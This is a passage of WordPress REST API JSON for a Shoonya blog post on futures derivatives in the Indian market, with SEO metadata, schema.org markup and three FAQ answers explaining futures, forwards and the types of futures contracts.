more.","og_url":"https:\/\/shoonya.com\/blog\/futures-derivatives\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2023-01-19T06:15:04+00:00","article_modified_time":"2023-11-14T06:02:29+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/01\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png","type":"image\/png"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Understanding Future Derivatives in the Indian Market","datePublished":"2023-01-19T06:15:04+00:00","dateModified":"2023-11-14T06:02:29+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/"},"wordCount":581,"image":{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/01\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png","keywords":["Derivatives are of four types","short positions","trading derivatives","type of Derivative"],"articleSection":["Future"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/","url":"https:\/\/shoonya.com\/blog\/futures-derivatives\/","name":"Understanding Future Derivatives in the Indian Market","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/01\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png","datePublished":"2023-01-19T06:15:04+00:00","dateModified":"2023-11-14T06:02:29+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Future derivatives are the financial contacts that bind two parties to buy\/sell an asset at a predetermined price and date in the future. Learn more.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941526122"},{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941557472"},{"@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941571871"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/futures-derivatives\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/01\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/01\/Is-The-Future-A-Derivative-And-Is-It-Used-For-Hedging.png","width":1920,"height":1080,"caption":"Is the Future a Derivative"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Investing","item":"https:\/\/shoonya.com\/blog\/investing\/"},{"@type":"ListItem","position":3,"name":"Future","item":"https:\/\/shoonya.com\/blog\/investing\/future\/"},{"@type":"ListItem","position":4,"name":"Understanding Future Derivatives in the Indian Market"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941526122","position":1,"url":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941526122","name":"What are future derivatives with an example?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Future derivatives are contracts allowing traders to buy or sell assets at a predetermined future price and date. For instance, a farmer can use a futures contract to sell potatoes at a set price, mitigating the risk of price fluctuations.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941557472","position":2,"url":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941557472","name":"What are future and forward derivatives?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Future and forward derivatives are similar contracts to buy or sell assets in the future. Futures are standardised, exchange-traded, and have daily settlement, while forwards are customised, over-the-counter, and settled at contract maturity. Futures have lower counterparty risk.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941571871","position":3,"url":"https:\/\/shoonya.com\/blog\/futures-derivatives\/#faq-question-1699941571871","name":"What are the different types of futures derivatives?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"There are various types of futures derivatives, including commodity futures (for physical goods), currency futures (for foreign currencies), interest rate futures (for interest-bearing securities), and stock or stock index futures (for equities). Each type serves unique purposes in the financial markets.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/1994","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=1994"}],"version-history":[{"count":2,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/1994\/revisions"}],"predecessor-version":[{"id":5583,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/1994\/revisions\/5583"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/2000"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=1994"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=1994"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=1994"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}